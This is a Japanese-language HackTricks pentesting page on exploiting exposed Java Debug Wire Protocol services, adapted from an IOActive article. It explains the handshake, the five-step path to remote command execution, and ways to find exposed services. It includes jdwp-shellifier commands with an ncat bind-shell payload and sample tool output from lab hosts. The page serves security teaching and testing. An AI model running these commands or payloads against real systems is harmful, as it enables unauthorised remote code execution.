hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

25 KiB
Raw Blame History

Pentesting JDWP - Java Debug Wire Protocol

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥

Exploiting

JDWPの゚クスプロむトは、認蚌ず暗号化の欠劂に基づいおいたす。通垞はポヌト8000で芋぀かりたすが、他のポヌトも可胜です。初期接続は、タヌゲットポヌトに"JDWP-Handshake"を送信するこずで行われたす。JDWPサヌビスがアクティブであれば、同じ文字列で応答し、その存圚を確認したす。このハンドシェむクは、ネットワヌク䞊のJDWPサヌビスを識別するためのフィンガヌプリント方法ずしお機胜したす。

プロセス識別に関しおは、Javaプロセスで文字列"jdwk"を怜玢するこずで、アクティブなJDWPセッションを瀺すこずができたす。

䞻芁なツヌルはjdwp-shellifierです。異なるパラメヌタヌで䜿甚できたす

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

--break-on 'java.lang.String.indexOf'を䜿甚するず、゚クスプロむトがより安定するこずがわかりたした。たた、ホストにバックドアをアップロヌドしお実行する機䌚があれば、コマンドを実行する代わりにそれを実行するこずで、゚クスプロむトはさらに安定したす。

詳现

コピヌ元 https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

Java Debug Wire Protocol

Java Platform Debug Architecture (JPDA): JDWPは、Java Platform Debug Architecture (JPDA)[2]ず呌ばれる党䜓的なJavaデバッグシステムの䞀郚です。以䞋は党䜓的なアヌキテクチャの図です

Debuggeeは、タヌゲットアプリケヌションを実行するマルチスレッドのJVMで構成されおいたす。リモヌトでデバッグ可胜であるためには、JVMむンスタンスはコマンドラむンで-Xdebugオプションを明瀺的に指定しお起動する必芁がありたす。たた、-Xrunjdwpたたは-agentlibオプションも必芁です。䟋えば、リモヌトデバッグを有効にしおTomcatサヌバヌを起動するず次のようになりたす

アヌキテクチャ図に瀺されおいるように、Java Debug Wire ProtocolはDebuggerずJVMむンスタンスの間の䞭心的なリンクです。プロトコルに関する芳察点は以䞋の通りです

  • パケットベヌスのネットワヌクバむナリプロトコルです。
  • 䞻に同期的です。デバッガヌはJDWPを介しおコマンドを送信し、応答を受け取るこずを期埅したす。ただし、むベントのような䞀郚のコマンドは同期的な応答を期埅したせん。特定の条件が満たされたずきに応答を送信したす。䟋えば、BreakPointはむベントです。
  • 認蚌を䜿甚したせん。
  • 暗号化を䜿甚したせん。

これらの芳察点は、デバッグプロトコルに぀いお話しおいるので、党お理にかなっおいたす。しかし、このようなサヌビスが敵察的なネットワヌクに露出しおいる堎合、たたはむンタヌネットに面しおいる堎合、問題が発生する可胜性がありたす。

ハンドシェむク: JDWPは[9]、シンプルなハンドシェむクによっお通信を開始する必芁があるず芏定しおいたす。成功したTCP接続埌、Debuggerクラむアントは14文字のASCII文字列「JDWP-Handshake」を送信したす。Debuggeeサヌバヌは、同じ文字列を送信するこずでこのメッセヌゞに応答したす。以䞋のscapy[3]トレヌスは、初期の双方向ハンドシェむクを瀺しおいたす

root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg # ./run_scapy

Welcome to Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A

セキュリティ監査人であれば、このようなシンプルなハンドシェむクがむンタヌネット䞊の生きおいるJDWPサヌビスを簡単に芋぀ける方法を提䟛するこずにすでに気づいおいるかもしれたせん。単玔なプロヌブを送信し、特定の応答を確認するだけです。さらに興味深いこずに、ShodanHQ[4]でスキャンするずきにIBM Java Development Kitで芳察された挙動があり、サヌバヌが最初に同じバナヌで「話し始める」ずいうものです。その結果、掻動䞭のJDWPサヌビスを完党に受動的に発芋する方法がありたすこの蚘事の埌半で、有名なShodanを䜿っおカバヌされおいたす。

通信: JDWPはDebuggerずDebuggee間の通信に関わるメッセヌゞ[10]を定矩しおいたす。メッセヌゞは以䞋のようにシンプルな構造で定矩されおいたす

LengthずIdフィヌルドは自己説明的です。Flagフィヌルドはリク゚ストパケットず応答パケットを区別するためにのみ䜿甚され、0x80の倀は応答パケットを瀺したす。CommandSetフィヌルドは以䞋の衚に瀺すように、コマンドのカテゎリを定矩したす。
\

CommandSet ** Command**
0x40 JVMによっお取られるべきアクション䟋BreakPointの蚭定
0x40–0x7F デバッガヌにむベント情報を提䟛する䟋JVMがBreakPointに達し、さらなるアクションを埅っおいる
0x80 サヌドパヌティの拡匵

任意のコヌドを実行したいず考えおいるので、以䞋のコマンドが私たちの目的にずっお最も興味深いものです。

  • VirtualMachine/IDSizesは、JVMが扱うデヌタ構造のサむズを定矩したす。これがnmapスクリプトjdwp-exec.nse[11]が機胜しない理由の1぀です。なぜなら、スクリプトはハヌドコヌドされたサむズを䜿甚しおいるからです。
  • ClassType/InvokeMethodを䜿甚するず、静的関数を呌び出すこずができたす。
  • ObjectReference/InvokeMethodを䜿甚するず、JVM内のむンスタンス化されたオブゞェクトから関数を呌び出すこずができたす。
  • StackFrame/(Get|Set)Valuesは、スレッドスタックからのプッシュ/ポップ機胜を提䟛したす。
  • Event/Compositeは、このコマンドによっお宣蚀された特定の動䜜にJVMが反応するように匷制したす。このコマンドはデバッグ目的のための䞻芁な鍵であり、ブレヌクポむントの蚭定、ランタむム䞭のスレッドのシングルステップ実行、GDBやWinDBGず同じ方法で倀のアクセス/倉曎時の通知など、倚くの他のこずを可胜にしたす。

JDWPはメモリに既に存圚するオブゞェクトにアクセスしお呌び出すこずを可胜にするだけでなく、デヌタを䜜成たたは䞊曞きするこずも可胜にしたす。

  • VirtualMachine/CreateStringを䜿甚するず、文字列をJVMランタむム内で生きおいるjava.lang.Stringに倉換するこずができたす。
  • VirtualMachine/RedefineClassesを䜿甚するず、新しいクラス定矩をむンストヌルするこずができたす。

「あなたのJDWPはすべお私たちのものです」

芋おきたように、JDWPは任意のクラスをJVMメモリにロヌドし、既存のおよび/たたは新しくロヌドされたバむトコヌドを呌び出すための組み蟌みコマンドを提䟛したす。次のセクションでは、Pythonでの゚クスプロむトコヌドの䜜成手順をカバヌしたす。これは、可胜な限り信頌性の高いJDIフロント゚ンドの郚分的な実装ずしお振る舞うものです。このスタンドアロンの゚クスプロむトスクリプトの䞻な理由は、ペネトレヌションテスタヌずしお、「ヘッドショット」゚クスプロむトが奜きだからです。぀たり、環境/アプリケヌション/プロトコルが脆匱であるこずが確実にわかっおいる堎合、すぐにそれを利甚するためのツヌルを甚意しおおきたいのです぀たり、これたで基本的に存圚しおいたのはPoCだけです。それでは、理論をカバヌしたので、実際の実装に入りたしょう。オヌプンなJDWPサヌビスに盎面した堎合、任意のコマンド実行はちょうど5ステップたたはこの゚クスプロむトを䜿甚するず、1぀のコマンドラむンだけ離れおいたす。こうなりたす1. Javaランタむム参照の取埗JVMはオブゞェクトをその参照を通じお操䜜したす。このため、私たちの゚クスプロむトはたずjava.lang.Runtimeクラスぞの参照を取埗する必芁がありたす。このクラスから、getRuntime()メ゜ッドぞの参照が必芁です。これは、すべおのクラスAllClassesパケットず、探しおいるクラスのすべおのメ゜ッドReferenceType/Methodsパケットを取埗するこずで実行されたす。2. ブレヌクポむントの蚭定ず通知の埅機非同期呌び出しこれが私たちの゚クスプロむトの鍵です。任意のコヌドを呌び出すためには、実行䞭のスレッドコンテキストにいる必芁がありたす。これを行うためのハックは、ランタむム䞭に呌び出されるこずがわかっおいるメ゜ッドにブレヌクポむントを蚭定するこずです。前述のように、JDIのブレヌクポむントはBREAKPOINT(0x02)に蚭定された非同期むベントです。ヒットするず、JVMはブレヌクポむントIDを含むEventDataパケットをデバッガヌに送信し、より重芁なこずに、それをヒットしたスレッドぞの参照を送信したす。
\

したがっお、java.net.ServerSocket.accept()のような頻繁に呌び出されるメ゜ッドに蚭定するのは良い考えです。これは、サヌバヌが新しいネットワヌク接続を受け取るたびに呌び出される可胜性が非垞に高いからです。ただし、ランタむム䞭に存圚する任意のメ゜ッドである可胜性があるこずを念頭に眮く必芁がありたす。3. ペむロヌドを実行するためにRuntimeにJava Stringオブゞェクトを割り圓おる私たちはJVMランタむムでコヌドを実行するので、操䜜するすべおのデヌタ文字列などはJVMランタむムに存圚する必芁がありたす぀たり、ランタむム参照を持っおいる必芁がありたす。これはCreateStringコマンドを送信するこずで非垞に簡単に行うこずができたす。

4. ブレヌクポむントコンテキストからRuntimeオブゞェクトを取埗この時点で、成功し信頌性の高い゚クスプロむトに必芁なほずんどすべおの芁玠を持っおいたす。私たちが欠けおいるのはRuntimeオブゞェクト参照です。これを取埗するのは簡単で、単にJVMランタむムでjava.lang.Runtime.getRuntime()静的メ゜ッド[8]を実行するこずができたす。これはClassType/InvokeMethodパケットを送信し、Runtimeクラスずスレッドの参照を提䟛するこずで行いたす。5. Runtimeむンスタンスでexec()メ゜ッドを怜玢しお呌び出す最埌のステップは、前のステップで取埗したRuntime静的オブゞェクトでexec()メ゜ッドを探し、それを呌び出すObjectReference/InvokeMethodパケット

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting ‘192.168.2.9:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed

同じコマンドラむンですが、Windowsシステムに察しお実行し、党く異なるメ゜ッドでブレヌクしたす

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed

実行環境はLinuxシステムです。ペむロヌド "ncat -e /bin/bash -l -p 1337" を䜿甚しおバむンドシェルを生成するために、私たちの゚クスプロむトを実行したす

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
[+] Received matching event from thread 0x82a[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp        0      0 0.0.0.0:1337         0.0.0.0:*               LISTEN      19242/ncat
tcp6       0      0 :::1337              :::*                    LISTEN      19242/ncat

最終的な゚クスプロむトはこれらのテクニックを䜿甚し、いく぀かのチェックを远加し、できるだけ少ない混乱を匕き起こすためにsuspend/resumeシグナルを送信したす䜜業䞭のアプリケヌションを壊さないのが垞に最善ですよね。それは二぀のモヌドで動䜜したす

  • 「デフォルト」モヌドは完党に非䟵入的で、ロヌカルシステム情報を取埗するためにJavaコヌドを実行するだけですクラむアントぞのPoCに最適です。
  • 「cmd」オプションを枡すず、リモヌトホストでシステムコマンドを実行し、より䟵入的です。コマンドはJVMが実行されおいる暩限で行われたす。

この゚クスプロむトスクリプトは以䞋に察しお成功裏にテストされたした

  • Oracle Java JDK 1.6 および 1.7
  • OpenJDK 1.6
  • IBM JDK 1.6

Javaは蚭蚈䞊プラットフォヌムに䟝存しないため、Javaがサポヌトする任意のオペレヌティングシステムでコマンドを実行できたす。これは実際には私たちpentestersにずっお良いニュヌスですオヌプンなJDWPサヌビスは信頌性の高いRCEを意味したす。これたでのずころ、良いです。

実際の゚クスプロむトに぀いおは

実際には、JDWPはJavaアプリケヌションの䞖界でかなり䜿甚されおいたす。しかし、リモヌトアセスメントを実斜する際にpentestersがそれを頻繁に芋るこずはないかもしれたせん。なぜなら、ファむアりォヌルはそしおすべきですが通垞、それが実行されおいるポヌトをブロックするからです。しかし、これはJDWPが野生で芋぀けられないずいう意味ではありたせん

  • この蚘事を曞いおいる時点で、ShodanHQ[4]での簡単な怜玢は、JDWPハンドシェむクを送信しおいる玄40台のサヌバヌをすぐに明らかにしたした

これは実際には興味深い発芋です。なぜなら、前に芋たように、察話を開始するのはクラむアント偎デバッガヌであるべきだからです。

  • GitHub[7]も、朜圚的に脆匱なオヌプン゜ヌスアプリケヌションのかなりの数を明らかにしおいたす

  • 特定のポヌトtcp/8000、tcp/8080、tcp/8787、tcp/5005を探しおむンタヌネットをmasscanするず、初期ハンドシェむクに応答する倚くのホストここでは報告できたせんが芋぀かりたした。
  • 「゚ンタヌプラむズ」アプリケヌションが、*デフォルトで*JDWPサヌビスを実行しおいるこずが野生で芋぀かりたした実際のポヌト番号を芋぀けるのは奜奇心旺盛な読者に任されおいたす。

これらはむンタヌネット䞊でオヌプンなJDWPサヌビスを発芋するためのいく぀かの方法です。これは、アプリケヌションは定期的に培底的なセキュリティレビュヌを受けるべきであり、本番環境ではデバッグ機胜がオフになっおいるべきであり、ファむアりォヌルは通垞の運甚に必芁なサヌビスぞのアクセスのみを制限するように蚭定されるべきであるずいう玠晎らしいリマむンダヌです。誰でもJDWPサヌビスに接続できるようにするこずは、gdbserverサヌビスに接続を蚱可するのず党く同じですおそらくより安定した方法で。この蚘事を読んで楜しんでいただけたら幞いです。そしお、すべおの匷力な海賊たちぞ、楜しいJDWP pwningを

感謝

Ilja Van SprundelずSebastien Mackeに、圌らのアむデアずテストに感謝したす。

参照

  1. https://github.com/IOActive/jdwp-shellifier
  2. http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
  3. http://www.secdev.org/projects/scapy(もうアクティブではありたせん)
  4. http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
  5. http://www.hsc-news.com/archives/2013/000109.html (もうアクティブではありたせん)
  6. http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
  7. https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
  8. http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
  9. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
  10. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
  11. http://nmap.org/nsedoc/scripts/jdwp-exec.html
☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥